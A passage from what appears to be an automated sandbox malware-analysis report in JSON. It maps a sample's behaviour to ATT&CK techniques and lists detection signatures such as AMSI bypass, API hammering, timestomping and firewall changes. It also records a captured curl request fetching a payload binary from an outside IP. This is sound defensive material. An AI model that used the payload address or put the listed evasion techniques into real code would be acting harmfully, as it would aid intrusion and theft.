algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"suspicious","value":"Calls an API typically used to stop a service"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to delete device driver (API string)"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify System Firewall","attack_id":"T1686","attack_id_wiki":"https://attack.mitre.org/techniques/T1686","identifiers":[{"type":"suspicious","value":"Able to modify firewall settings"},{"type":"informative","value":"Detects NETSH process execution"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":".rdata section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$25","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"The WS-Management service does not support the specified compression scheme (%1).\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"The only supported compression type is \"xpress\".\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"The WinRM client cannot process the request. The request contained the compression option but contained an unrecognized value.\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found string \"Change the value for the compression option and try the request again.\" (Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"NtAllocateVirtualMemory\" (Indicator: \"AllocateVirtualMemory\"; File: \"file\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"WinStationFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"NtAllocateVirtualMemory\" (Indicator: \"AllocateVirtualMemory\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister service from Service Control Manager","description":"Found string \"DeleteService\" (Source: \"00000000-00006548-00000C2C-2955750222\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-690","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00008084)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00008084)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2620973187073', 'hResInfo': '2620973188320'}\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2620973187073', 'hResInfo': '2620973188352'}\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2620973187073', 'hResInfo': '2620973188368'}\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2620973187073', 'hResInfo': '2620973188336'}\" (UID: 00000000-00008084)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"NtImpersonateThread$filt$0\" (Indicator: \"NtImpersonateThread\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertTo-Json\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$28","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"file\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Aes\"; File: \"file\")\n file/memory contains long string with (Indicator: \"Aes\"; File: \"119840D5BD3C8D489B094C8B21E0606BE18D98EF\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00008084-00000BC0-2966368390\")\n Found reference to \"SHA512 block transform for x86_64, CRYPTOGAMS by \" (Indicator: \"SHA512\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006552.00000001.275090.9E150000.00000004.mdmp, 00000000-00006552.00000001.275090.A0390000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00006552.00000001.275090.A0390000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004512.00000000.274160.0A840000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006700.00000001.276077.BD108000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006976.00000002.277927.0CE18000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\NUL; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 28FB0000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at 28FB0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"file.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"file.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"uzbektajik.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"uzbektajik.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"uzbektajik.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; File: \"file\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"file\")\n Found reference to API \"CertEnumCertificatesInStore\" (Indicator: \"CertEnumCertificatesInStore\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; File: \"file\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectData\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003480.00000000.275067.2B6B0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000001.275141.08E50000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006124.00000002.277688.F7740000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006552.00000000.274161.9E150000.00000004.mdmp, 00000000-00006552.00000001.275090.9E150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"9000User\" in header \"GET /wilow/uzbektajik.bin HTTP/1.1Host: 107.175.82.242:9000User-Agent: curl/8.15.0Accept: */*\"\n Contains base64 string in header \"host\" in header \"GET /json/?fields=countryCode HTTP/1.1accept: */*host: ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2d","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Possibly contains Public/Private key (encryption)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: 